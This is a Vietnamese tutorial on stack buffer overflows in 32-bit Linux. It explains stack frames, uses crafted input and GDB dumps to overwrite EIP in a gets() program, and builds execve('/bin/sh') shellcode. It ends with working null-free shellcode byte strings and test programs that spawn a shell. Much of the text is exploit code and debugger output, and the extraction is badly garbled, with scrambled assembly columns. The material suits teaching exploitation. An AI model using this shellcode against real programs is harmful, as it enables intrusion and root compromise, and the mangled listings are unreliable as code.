Tìm hiểu đầy đủ về tràn bộ đệm

Tìm hiểu đầy đủ về tràn bộ đệm  
ĐT - Vicki's real fan  
Lời mở đầu  
Tràn bộ đệm một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy  
tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua  
tràn bộ đệm...?  
***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần  
thiết đối với bạn!  
Sơ đồ tổ chức bộ nhớ của một chương trình  
/------------------\ địa chỉ vùng nhớ cao  
|
|
|
|
|
|
Stack  
|------------------|  
|
|
|
(Initialized)  
Data  
(Uninitialized) |  
|
|
|------------------|  
|
|
|
|
|
|
Text  
\------------------/ địa chỉ vùng nhớ thấp  
Stack và Heap?  
Heap là vùng nhớ dùng để cấp phát cho các biến tỉnh hoặc các vùng nhớ  
được cấp phát bằng hàm malloc()  
Stack là vùng nhớ dùng để lưu các tham số và các biến cục bộ của hàm.  
Các biến trên heap được cấp phát từ vùng nhớ thấp đến vùng nhớ cao.  
Trên stack thì hoàn toàn ngược lại, các biến được cấp phát từ vùng nhớ  
cao đến vùng nhớ thấp.  
Stack hoạt động theo nguyên tắc "vào sau ra trước"(Last In First Out -  
LIFO). Các giá trị được đẩy vào stack sau cùng sẽ được lấy ra khỏi stack  
trước tiên.  
PUSH và POP  
Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh  
ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ địa chỉ thấp).  
đỉnh của bộ nhớ /------------\ đáy của stack  
|
|
|
|
|
|
|
|
|
|
|
| <-- ESP  
đáy của bộ nhớ \------------/ đỉnh của stack  
* PUSH một value vào stack  
đỉnh của bộ nhớ /------------\ đáy của stack  
|
|
|
|
|
|
|
|
|
| <- ESP cũ  
|------------|  
(2) -> value | <- ESP mới = ESP -  
sizeof(value) (1)  
đáy của bộ nhớ \------------/ đỉnh của stack  
1/ ESP=ESP-sizeof(value)  
2/ value được đẩy vào stack  
* POP một value ra khỏi stack  
đỉnh của bộ nhớ /------------\ đáy của stack  
|
|
|
|
|
|
|
|
|
| <- ESP mới = ESP +  
sizeof(value)(2)  
|------------|  
(1) <- value | <- ESP cũ  
đáy của bộ nhớ \------------/ đỉnh của stack  
1/ value được lấy ra khỏi stack  
2/ ESP=ESP+sizeof(value)  
Khác nhau giữa các lệnh hợp ngAT&T với Intel  
Khác với MSDOS và WINDOWS, *NIX dùng các lệnh hợp ngữ AT&T.  
Nó hoàn toàn ngược lại với chuẩn của Intel/Microsoft.  
dụ:  
Intel  
AT&T  
mov eax, esp  
push 7  
movl %esp, %eax  
push $7  
mov [esp+5], eax  
inc ah  
movl %eax, 0x5(%esp)  
incb %ah  
push 7  
push $7  
...  
* Ghi chú:  
e - Extended 32 bits  
% - register  
mov %src, %des  
movl - move 1 long  
movb - move 1 byte  
movw - move 1 word  
$ - hằng  
# - chú thích  
...  
Cách làm việc của hàm  
Thanh ghi EIP luôn trỏ đến địa chỉ của câu lệnh tiếp theo cần thi hành.  
Khi gọi hàm, đầu tiên các tham số được push vào stack theo thứ tự ngược  
lại. Tiếp theo địa chỉ của câu lệnh được push vào stack. Sau đó, thanh ghi  
EBP được push vào stack(dùng để lưu giá trị cũ của EBP).  
Khi kết thúc hàm, thanh ghi EBP được pop ra khỏi stack(phục hồi lại giá  
trị cũ của EBP). Sau đó địa chỉ trở về(ret address) được pop ra khỏi stack  
lệnh tiếp theo sau lời gọi hàm sẽ được thi hành.  
Thanh ghi EBP được dùng để xác định các tham số và các biến cục bộ của  
hàm.  
dụ:  
test.c  
-----------------------------------------------------------  
-------------------  
void function(int a, int b, int c) {  
char buffer1[5];  
char buffer2[10];  
}
void main() {  
function(1,2,3);  
}
-----------------------------------------------------------  
-------------------  
Để hiểu được chương trình gọi hàm function() như thế nào, bạn hãy  
compile vidu1.c, dùng tham số -S để phát mã assembly:  
[đt@localhost ~/vicki]$cc -S -o test.s test.c  
Xem file test.s, chúng ta sẽ thấy call function() được chuyển thành:  
pushl $3  
pushl $2  
pushl $1  
call function  
3 tham số truyền cho function() lần lượt được push vào stack theo thứ tự  
ngược lại. Câu lệnh 'call' sẽ push con trỏ lệnh(tức là thanh ghi EIP) vào  
stack để lưu địa chỉ trở về.  
Các lệnh đầu tiêu trong hàm function() sẽ dạng như sau:  
pushl %ebp  
movl %esp,%ebp  
subl $20,%esp  
Đầu tiên ESP(frame pointer) được push vào stack. Sau đó chương trình  
copy ESP vào EBP để tạo một FP pointer mới. Bạn dễ nhận thấy lúc này  
ESP và EBP đều đang trỏ đến ô nhớ chứa EBP cũ. Hãy ghi nhớ điều này.  
Tiếp theo ESP được trừ đi 20 để dành không gian cho các biến cục bộ của  
hàm function()  
chương trình 32 bits nên 5 bytes buffer1 sẽ là 8 bytes(2 words) trong bộ  
nhớ(do làm tròn đến 4 bytes hay là 32 bits), 10 bytes buffer2 sẽ là 12 bytes  
trong bộ nhớ(3 words). Tổng cộng sẽ tốn 8+12=20 bytes cho các biến cục  
bộ của function() nên ESP phải bị trừ đi 20! Stack sẽ dạng như sau:  
đáy của  
đỉnh của  
bộ nhớ  
bộ nhớ  
buffer2  
buffer1  
8 bytes  
sfp  
4b  
ret  
4b  
a
b
c
<------  
]
[
][  
][  
][  
][  
][  
][  
đỉnh của  
đáy của  
stack  
12 bytes  
stack  
Trong hàm function(), nội dung thanh ghi EBP không bị thay đổi.  
0xz%ebp dùng để xác định ô nhớ chứa tham số của hàm  
0xfffffz%ebp dùng để xác định ô nhớ chứa biến cục bộ của hàm  
Khi kết thúc hàm function():  
movl %ebp,%esp  
popl %ebp  
ret  
movl %ebp, %esp sẽ copy EBP vào ESP. Vì EBP khi bắt đầu hàm trỏ  
đến ô nhớ chứa EBP và EBP không bị thay đổi trong hàm function()  
nên sau khi thực hiện lệnh movl, ESP sẽ trỏ đến ô nhớ chứa EBP cũ. popl  
%ebp sẽ phục hồi lại giá trị cũ cho EBP đồng thời ESP sẽ bị giảm  
4(ESP=ESP-sizeof(EBP cũ)) sau lệnh popl. Như vậy ESP sẽ trỏ đến ô nhớ  
chứa địa chỉ trở về(nằm ngay trên ô nhớ chứa EBP cũ). ret sẽ pop địa chỉ  
trở về ra khỏi stack, ESP sẽ bị giảm 4 và chương trình tiếp tục thi hành câu  
lệnh sau lệnh call function().  
Chương trình bị tràn bộ đệm  
dụ:  
gets.c:  
---------------------------------------  
int main()  
{
char buf[20];  
gets(buf);  
}
---------------------------------------  
[đt@localhost ~/vicki]$ cc gets.c -o gets  
/tmp/cc4C6vaT.o: In function `main':  
/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is  
dangerous and should not be used.  
[đt@localhost ~/vicki]$  
gets(buf) sẽ nhận input data vào buf. Kích thước của buf chỉ là 20 bytes.  
Nếu ta đẩy data có kích thước lớn hơn 20 bytes vào buf, 20 bytes data đầu  
tiên sẽ vào mảng buf[20], các bytes data sau sẽ ghi đè lên EBP tiếp  
theo là ret addr. Như vậy chúng ta có thể thay đổi được địa chỉ trở về, điều  
này đồng nghĩa với việc chương trình bị tràn bộ đệm.  
đỉnh của bộ nhớ +-------------+ đáy của stack  
| return addr |  
+-------------+  
|
EBP cũ  
|
+-------------+  
|
|
|
|
|
|
|
|
|
|
buf[20]  
đáy của bộ nhớ +-------------+ đỉnh của stack  
Bạn hãy thử:  
[đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets  
[đt@localhost ~/vicki]$ gdb gets core  
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0  
Copyright 2001 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public  
License, and you are  
welcome to change it and/or distribute copies of it under  
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show  
warranty" for details.  
This GDB was configured as "i386-mandrake-linux"...  
Core was generated by `./gets'.  
Program terminated with signal 11, Segmentation fault.  
Reading symbols from /lib/libc.so.6...done.  
Loaded symbols for /lib/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...done.  
Loaded symbols for /lib/ld-linux.so.2  
#0 0x41414141 in ?? ()  
(gdb) info all  
eax  
ecx  
edx  
ebx  
esp  
ebp  
0xbffffbc4  
0xbffffbc4  
0x40105dbc  
0x4010748c  
0xbffffbe0  
0x41414141  
-1073742908  
-1073742908  
1074814396  
1074820236  
0xbffffbe0  
0x41414141 // hãy nhìn xem,  
chúng ta vừa ghi đè lên ebp  
esi  
0x4000a610  
0xbffffc24  
0x40031100  
1073784336  
-1073742812  
0x40031100  
edi  
eip  
eflags  
cs  
ss  
ds  
es  
fs  
gs  
0x10282  
0x23  
0x2b  
0x2b  
0x2b  
0x2b  
0x2b  
66178  
35  
43  
43  
43  
43  
43  
(gdb) quit  
[đt@localhost ~/vicki]$  
0x41 chính là "A" ở dạng hex  
Bây giờ bạn hãy thử tiếp:  
[đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets  
Segmentation fault  
[đt@localhost ~/vicki]$ gdb gets core  
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0  
Copyright 2001 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public  
License, and you are  
welcome to change it and/or distribute copies of it under  
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show  
warranty" for details.  
This GDB was configured as "i386-mandrake-linux"...  
Core was generated by `./gets'.  
Program terminated with signal 11, Segmentation fault.  
Reading symbols from /lib/libc.so.6...done.  
Loaded symbols for /lib/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...done.  
Loaded symbols for /lib/ld-linux.so.2  
#0 0x41414141 in ?? ()  
(gdb) info all  
eax  
ecx  
edx  
ebx  
esp  
ebp  
0xbffffbc4  
0xbffffbc4  
0x40105dbc  
0x4010748c  
0xbffffbe0  
0x41414141  
-1073742908  
-1073742908  
1074814396  
1074820236  
0xbffffbe0  
0x41414141 // chúng ta đã  
ghi đè lên ebp  
esi  
edi  
eip  
0x4000a610  
0xbffffc24  
0x41414141  
1073784336  
-1073742812  
0x41414141 // chúng ta đã  
ghi đè lên eip  
eflags  
cs  
ss  
ds  
es  
fs  
gs  
0x10282  
0x23  
0x2b  
0x2b  
0x2b  
0x2b  
0x2b  
66178  
35  
43  
43  
43  
43  
43  
(gdb) quit  
[đt@localhost ~/vicki]$  
Địa chỉ trở về bị thay đổi thành 0x41414141, chương trình sẽ thi hành các  
lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi  
"Segmentation fault"  
Shellcode  
Hình dung các đặt shellcode trên stack  
dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách  
thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến  
shellcode để đổ một shell. Bạn thể hình dung ra cách đặt shellcode trên  
stack như sau:  
Trước khi tràn bộ đệm:  
đáy của bộ nhớ  
của bộ nhớ  
đỉnh  
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF  
đỉnh của stack  
của stack  
đáy  
B = buffer  
E = stack frame pointer  
R = return address  
F = các data khác  
Khi tràn bộ đệm:  
đáy của bộ nhớ  
của bộ nhớ  
đỉnh  
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF  
đỉnh của stack  
của stack  
đáy  
S = shellcode  
A = con trỏ đến shellcode  
F = các data khác  
(1) Lắp tràn bộ đệm(đến return addr) bằng địa chỉ của buffer  
(2) Đặt shellcode vào buffer  
Như vậy địa chỉ trở về sẽ trỏ đến shellcode, shellcode sẽ đổ một root shell.  
Tuy nhiên, thật khó để làm cho ret addr trỏ đến đúng shellcode. Có một  
cách khác, chúng ta sẽ đặt vào đầu của buffer một dãy lệnh NOP(NO  
oPeration - không xử lí), tiếp theo chúng ta đẩy shellcode vào sau NOPs.  
Như vậy khi thay đổi ret addr trỏ đến một nơi này đó ở đầu buffer, các  
lệnh NOP sẽ được thi hành, chúng không làm gì cả. Đến khi gặp các lệnh  
shellcode, shellcode sẽ làm nhiệm vụ đổ root shell. Stack có dạng như sau:  
đáy của bộ nhớ  
của bộ nhớ  
đỉnh  
<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF  
đỉnh của stack  
của stack  
đáy  
N = NOP  
S = shellcode  
A = con trỏ đến shellcode  
F = các data khác  
Viết và test thử shellcode  
Shellcode được đặt trên stack nên không thể nào dùng địa chỉ tuyệt đối.  
Chúng ta buộc phải dùng địa chỉ tương đối. Thật may cho chúng ta, lệnh  
jmp và call có thể chấp nhận các địa chỉ tương đối. Shellcode sẽ dạng  
như sau:  
0
2
jmp  
popl %esi  
(nhảy xuống z bytes, tức đến câu lệnh call)  
... đăt các hàm tại đây ...  
call <-Z+2> (call sẽ nhảy lên z-2 bytes, đếb ngay câu  
lệnh sau jmp, POPL)  
Z
Z+5 .string  
(biến)  
Giải thích: ở đầu shellcode chúng ta đặt một lệnh jmp đến call. call sẽ  
nhảy ngược lên lại câu lệnh ngay sau jmp, tức là câu lệnh popl %esi.  
Chúng ta đặt các dữ liệu .string ngay sau call. Khi lệnh call được thi  
hành, nó sẽ push địa chỉ của câu lệnh kế tiếp, trong trường hợp này là địa  
chỉ của .string vào stack. Câu lệnh ngay sau jmp là popl %esi, như vậy  
esi sẽ chứa địa chỉ của .string. Chúng ta đặt các hàm cần xử giữa popl  
%esi call <-z+2>, các hàm này sẽ xác định các dữ liệu .string qua  
thanh ghi esi.  
lệnh để đổ shell trong C có dạng như sau:  
shellcode.c  
-----------------------------------------------------------  
------------------  
#include  
void main() {  
char *name[2];  
name[0] = "/bin/sh";  
name[1] = NULL;  
execve(name[0], name, NULL);  
}
-----------------------------------------------------------  
-------------------  
Để tìm ra mã lệnh assembly thật sự của shellcode, bạn cần compile  
shellcode.c và sau đó chạy gdb. Nhớ dùng cờ -static khi compile  
shellcode.c để gộp các mã lệnh assembly thật sự của hàm execve vào, nếu  
không dùng cờ này, bạn chỉ nhận được một tham chiếu đến thư viện liên  
kết động của C cho hàm execve.  
[đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static  
shellcode.c  
[đt@localhost ~/vicki]$ gdb shellcode  
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0  
Copyright 2001 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public  
License, and you are  
welcome to change it and/or distribute copies of it under  
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show  
warranty" for details.  
This GDB was configured as "i386-mandrake-linux"...  
(gdb) disas main  
Dump of assembler code for function main:  
0x8000130 :  
0x8000131 :  
0x8000133 :  
0x8000136 :  
0x800013d :  
0x8000144 :  
0x8000146 :  
0x8000149 :  
0x800014a :  
0x800014d :  
0x800014e :  
0x8000153 :  
0x8000156 :  
0x8000158 :  
0x8000159 :  
pushl %ebp  
movl  
subl  
movl  
movl  
%esp,%ebp  
$0x8,%esp  
$0x80027b8,0xfffffff8(%ebp)  
$0x0,0xfffffffc(%ebp)  
pushl $0x0  
leal  
0xfffffff8(%ebp),%eax  
pushl %eax  
movl  
0xfffffff8(%ebp),%eax  
pushl %eax  
call  
addl  
movl  
popl  
ret  
0x80002bc <__execve>  
$0xc,%esp  
%ebp,%esp  
%ebp  
End of assembler dump.  
(gdb) disas __execve  
Dump of assembler code for function __execve:  
0x80002bc <__execve>: pushl %ebp  
0x80002bd <__execve+1>: movl %esp,%ebp  
0x80002bf <__execve+3>: pushl %ebx  
0x80002c0 <__execve+4>: movl  
0x80002c5 <__execve+9>: movl  
0x80002c8 <__execve+12>:  
0x80002cb <__execve+15>:  
0x80002ce <__execve+18>:  
0x80002d0 <__execve+20>:  
0x80002d2 <__execve+22>:  
0x80002d4 <__execve+24>:  
<__execve+42>  
0x80002d6 <__execve+26>:  
0x80002d8 <__execve+28>:  
0x80002d9 <__execve+29>:  
<__normal_errno_location>  
0x80002de <__execve+34>:  
0x80002df <__execve+35>:  
0x80002e1 <__execve+37>:  
0x80002e6 <__execve+42>:  
0x80002e7 <__execve+43>:  
0x80002e9 <__execve+45>:  
0x80002ea <__execve+46>:  
0x80002eb <__execve+47>:  
End of assembler dump.  
(gdb) quit  
$0xb,%eax  
0x8(%ebp),%ebx  
movl  
movl  
int  
0xc(%ebp),%ecx  
0x10(%ebp),%edx  
$0x80  
movl  
%eax,%edx  
testl %edx,%edx  
jnl  
0x80002e6  
negl  
%edx  
pushl %edx  
call  
0x8001a34  
popl  
movl  
movl  
popl  
movl  
popl  
ret  
%edx  
%edx,(%eax)  
$0xffffffff,%eax  
%ebx  
%ebp,%esp  
%ebp  
nop  
Giải thích:  
1/ main():  
0x8000130 :  
0x8000131 :  
pushl %ebp  
movl %esp,%ebp  
0x8000133 :  
subl  
$0x8,%esp  
Các lệnh này bạn đã viết rồi. sẽ lưu frame pointer và  
tạo frame pointer mới từ stack pointer, sau đó dành chổ cho  
các biến cục bộ của main() trên stack, trong trường hợp này  
là 8 bytes:  
char *name[2];  
2 con trỏ kiểu char, mỗi con trỏ dài 1 word nên phải tốn 2  
word, tức là 8 bytes trên stack.  
0x8000136 :  
movl  
$0x80027b8,0xfffffff8(%ebp)  
copy giá trị 0x80027b8(địa chỉ của chuổi "/bin/sh") vào con  
trỏ đầu tiên của mảng con trỏ name[]. Câu lệnh này tương  
đương với:  
name[0] = "/bin/sh";  
0x800013d :  
movl  
$0x0,0xfffffffc(%ebp)  
copy giá trị 0x0(NULL) vào con trỏ thứ 2 của name[]. Câu  
lệnh này tương đương với:  
name[1] = NULL;  
lệnh thật sự để call execve() bắt đầu tại đây:  
0x8000144 :  
pushl $0x0  
push các tham số của hàm execve() vào stack theo thứ tự  
ngược lại, đầu tiên là NULL  
0x8000146 :  
leal  
0xfffffff8(%ebp),%eax  
nạp địa chỉ của name[] vào thanh ghi EAX  
0x8000149 :  
pushl %eax  
push địa chỉ của name[] vào stack  
0x800014a :  
movl  
0xfffffff8(%ebp),%eax  
nạp địa chỉ của chuổi "/bin/sh" vào stack  
0x800014e :  
call  
0x80002bc <__execve>  
gọi hàm thư viện execve(). call sẽ push eip vào stack.  
2/ execve():  
0x80002bc <__execve>:  
0x80002bd <__execve+1>: movl  
pushl %ebp  
%esp,%ebp  
0x80002bf <__execve+3>: pushl %ebx  
đây phần mở đầu của hàm, tôi không cần giải thích cho  
bạn nữa  
0x80002c0 <__execve+4>: movl  
$0xb,%eax  
copy 0xb(11 decimal) vào stack. 11 = execve()  
0x80002c5 <__execve+9>: movl  
0x8(%ebp),%ebx  
copy địa chỉ của "/bin/sh" vào EBX  
0x80002c8 <__execve+12>:  
movl  
0xc(%ebp),%ecx  
0x10(%ebp),%edx  
$0x80  
copy địa chỉ của name[] vào ECX  
0x80002cb <__execve+15>:  
movl  
copy địa chỉ của con trỏ null vào EDX  
0x80002ce <__execve+18>:  
gọi ngắt $0x80  
int  
Tóm lại:  
a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ  
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null  
dài 1 word  
c/ copy 0xb vào thanh ghi EAX  
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX  
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX  
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX  
g/ gọi ngắt $0x80  
Sau khi thi hành call execve, chương trình có thể thi hành tiếp các câu  
lệnh rác còn lại trên stack và chương trình có thể thất bại. vậy, chúng ta  
phải nhanh chóng kết thúc chương trình bằng lời gọi hàm exit(). Exit  
syscall trong C có dạng như sau:  
exit.c  
-----------------------------------------------------------  
-------------------  
#include  
void main() {  
exit(0);  
}
-----------------------------------------------------------  
-------------------  
Xem mã assemly của hàm exit():  
[đt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c  
[đt@localhost ~/vicki]$ gdb exit  
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0  
Copyright 2001 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public  
License, and you are  
welcome to change it and/or distribute copies of it under  
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show  
warranty" for details.  
This GDB was configured as "i386-mandrake-linux"...  
(gdb) disas _exit  
Dump of assembler code for function _exit:  
0x800034c <_exit>:  
pushl %ebp  
0x800034d <_exit+1>:  
0x800034f <_exit+3>:  
0x8000350 <_exit+4>:  
0x8000355 <_exit+9>:  
0x8000358 <_exit+12>:  
0x800035a <_exit+14>:  
0x800035d <_exit+17>:  
0x800035f <_exit+19>:  
0x8000360 <_exit+20>:  
0x8000361 <_exit+21>:  
0x8000362 <_exit+22>:  
0x8000363 <_exit+23>:  
End of assembler dump.  
(gdb) quit  
movl  
%esp,%ebp  
pushl %ebx  
movl  
movl  
int  
movl  
movl  
popl  
ret  
$0x1,%eax  
0x8(%ebp),%ebx  
$0x80  
0xfffffffc(%ebp),%ebx  
%ebp,%esp  
%ebp  
nop  
nop  
nop  
exit syscall sẽ đặt 0x1 vào EAX, đặt exit code trong EBX và gọi ngắt "int  
0x80". exit code = 0 nghĩa là không gặp lỗi. vậy chúng ta sẽ đặt 0 trong  
EBX.  
Tóm lại:  
a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ  
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null  
dài 1 word  
c/ copy 0xb vào thanh ghi EAX  
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX  
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX  
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX  
g/ gọi ngắt $0x80  
h/ copy 0x1 vào thanh ghi EAX  
i/ copy 0x0 vào thanh ghi EBX  
j/ gọi ngắt $0x80  
Shellcode sẽ dạng như sau:  
-----------------------------------------------------------  
-------------------  
jmp  
offset-to-call  
%esi  
%esi,array-offset(%esi) # 3 bytes  
$0x0,nullbyteoffset(%esi)# 4 bytes  
$0x0,null-offset(%esi)  
$0xb,%eax  
%esi,%ebx  
array-offset,(%esi),%ecx # 3 bytes  
null-offset(%esi),%edx  
$0x80  
$0x1, %eax  
$0x0, %ebx  
# 2 bytes  
# 1 byte  
popl  
movl  
movb  
movl  
movl  
movl  
leal  
leal  
int  
movl  
movl  
$0x80  
call  
# 7 bytes  
# 5 bytes  
# 2 bytes  
# 3 bytes  
# 2 bytes  
# 5 bytes  
# 5 bytes  
int  
# 2 bytes  
offset-to-popl  
# 5 bytes  
/bin/sh string goes here.  
-----------------------------------------------------------  
-------------------  
Tính toán các offsets từ jmp đến call, từ call đến popl, từ địa chỉ của chuổi  
đến mảng, từ địa chỉ của chuổi đến word null, chúng ta sẽ có shellcode  
thật sự:  
-----------------------------------------------------------  
-------------------  
jmp  
0x26  
%esi  
%esi,0x8(%esi)  
$0x0,0x7(%esi)  
$0x0,0xc(%esi)  
$0xb,%eax  
# 2 bytes  
# 1 byte  
popl  
movl  
movb  
movl  
movl  
movl  
leal  
leal  
int  
movl  
movl  
$0x80  
call  
# 3 bytes  
# 4 bytes  
# 7 bytes  
# 5 bytes  
# 2 bytes  
# 3 bytes  
# 3 bytes  
# 2 bytes  
# 5 bytes  
# 5 bytes  
%esi,%ebx  
0x8(%esi),%ecx  
0xc(%esi),%edx  
$0x80  
$0x1, %eax  
$0x0, %ebx  
int  
# 2 bytes  
-0x2b  
# 5 bytes  
# 8 bytes  
.string \"/bin/sh\"  
-----------------------------------------------------------  
-------------------  
Để biết mã máy của các lệnh hợp ngữ trên ở dạng hexa, bạn cần compile  
shellcodeasm.c và gdb shellcodeasm:  
shellcodeasm.c  
-----------------------------------------------------------  
-------------------  
void main() {  
__asm__("  
jmp  
0x2a  
%esi  
# 3 bytes  
# 1 byte  
popl  
movl  
movb  
movl  
movl  
movl  
leal  
leal  
int  
%esi,0x8(%esi)  
$0x0,0x7(%esi)  
$0x0,0xc(%esi)  
$0xb,%eax  
%esi,%ebx  
0x8(%esi),%ecx  
0xc(%esi),%edx  
$0x80  
# 3 bytes  
# 4 bytes  
# 7 bytes  
# 5 bytes  
# 2 bytes  
# 3 bytes  
# 3 bytes  
# 2 bytes  
# 5 bytes  
# 5 bytes  
# 2 bytes  
# 5 bytes  
# 8 bytes  
movl  
movl  
int  
$0x1, %eax  
$0x0, %ebx  
$0x80  
call  
-0x2f  
.string \"/bin/sh\"  
");  
}
-----------------------------------------------------------  
-------------------  
[đt@localhost ~/vicki]$ gcc -o shellcodeasm -g -ggdb  
shellcodeasm.c  
[đt@localhost ~/vicki]$ gdb shellcodeasm  
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0  
Copyright 2001 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public  
License, and you are  
welcome to change it and/or distribute copies of it under  
certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show  
warranty" for details.  
This GDB was configured as "i386-mandrake-linux"...  
(gdb) disas main  
Dump of assembler code for function main:  
0x8000130 :  
0x8000131 :  
0x8000133 :  
0x8000135 :  
0x8000136 :  
0x8000139 :  
0x800013d :  
0x8000144 :  
0x8000149 :  
0x800014b :  
0x800014e :  
0x8000151 :  
0x8000153 :  
0x8000158 :  
pushl %ebp  
movl  
jmp  
%esp,%ebp  
0x800015f  
%esi  
%esi,0x8(%esi)  
$0x0,0x7(%esi)  
$0x0,0xc(%esi)  
$0xb,%eax  
popl  
movl  
movb  
movl  
movl  
movl  
leal  
leal  
int  
%esi,%ebx  
0x8(%esi),%ecx  
0xc(%esi),%edx  
$0x80  
movl  
movl  
$0x1,%eax  
$0x0,%ebx  
0x800015d :  
0x800015f :  
0x8000164 :  
0x8000165 :  
0x8000168 :  
0x8000169 :  
0x800016b :  
int  
call  
das  
$0x80  
0x8000135  
boundl 0x6e(%ecx),%ebp  
das  
jae  
0x80001d3 <__new_exitfn+55>  
%cl,0x55c35dec(%ecx)  
addb  
End of assembler dump.  
(gdb) x/bx main+3  
0x8000133 :  
0xeb  
(gdb)  
0x8000134 :  
0x2a  
(gdb)  
.
.
.
(gdb) quit  
Ghi chú: x/bx dùng để hiển thị mã máy ở dạng hexa của lệnh hợp ngữ  
Bây giờ bạn hãy test thử shellcode đầu tiên:  
testsc1.c  
-----------------------------------------------------------  
-------------------  
char shellcode[] =  
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\  
x00\x00"  
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\  
xcd\x80"  
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\  
xff\xff"  
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";  
void main() {  
int *ret;  
ret = (int *)&ret + 2;  
(*ret) = (int)shellcode;  
}
-----------------------------------------------------------  
-------------------  
[đt@localhost ~/vicki]$ cc -o testsc1 testsc1.c  
[đt@localhost ~/vicki]$ ./testsc1  
sh-2.04$ exit  
[đt@localhost ~/vicki]$  
đã làm việc! Tuy nhiên có một vấn đề lớn trong shellcode đầu tiên.  
Shellcode này có chứa \x00. Chúng ta sẽ thất bại nếu dùng shellcode này  
để làm tràn bộ đệm. Vì sao? Hàm strcpy() sẽ chấm dứt copy khi gặp \x00  
nên shellcode sẽ không được copy trọn vẹn vào buffer! Chúng ta cần gở  
bỏ hết \x00 trong shellcode:  
Câu lệnh gặp vấn đề:  
Được thay thế bằng:  
--------------------------------------------------------  
movb  
molv  
$0x0,0x7(%esi)  
$0x0,0xc(%esi)  
xorl  
movb  
movl  
%eax,%eax  
%eax,0x7(%esi)  
%eax,0xc(%esi)  
--------------------------------------------------------  
movl $0xb,%eax movb $0xb,%al  
--------------------------------------------------------  
movl  
movl  
$0x1, %eax  
$0x0, %ebx  
xorl  
movl  
inc  
%ebx,%ebx  
%ebx,%eax  
%eax  
--------------------------------------------------------  
Shellcode mới!  
shellcodeasm2.c  
-----------------------------------------------------------  
-------------------  
void main() {  
__asm__("  
jmp  
0x1f  
%esi  
# 2 bytes  
# 1 byte  
# 3 bytes  
# 2 bytes  
popl  
movl  
xorl  
%esi,0x8(%esi)  
%eax,%eax  
movb  
%eax,0x7(%esi)  
# 3 bytes  
movl  
movb  
movl  
leal  
leal  
int  
%eax,0xc(%esi)  
# 3 bytes  
# 2 bytes  
# 2 bytes  
# 3 bytes  
# 3 bytes  
$0xb,%al  
%esi,%ebx  
0x8(%esi),%ecx  
0xc(%esi),%edx  
$0x80  
# 2 bytes  
xorl  
movl  
inc  
%ebx,%ebx  
%ebx,%eax  
%eax  
# 2 bytes  
# 2 bytes  
# 1 bytes  
# 2 bytes  
int  
$0x80  
call  
-0x24  
# 5 bytes  
# 8 bytes  
.string \"/bin/sh\"  
# 46 bytes total  
");  
}
-----------------------------------------------------------  
-------------------  
Test shellcode mới!  
testsc2.c  
-----------------------------------------------------------  
-------------------  
char shellcode[] =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\  
xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\  
x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
void main() {  
int *ret;  
ret = (int *)&ret + 2;  
(*ret) = (int)shellcode;  
}
-----------------------------------------------------------  
-------------------  
[đt@localhost ~/vicki]$ cc -o testsc2 testsc2.c  
[đt@localhost ~/vicki]$ ./testsc2  
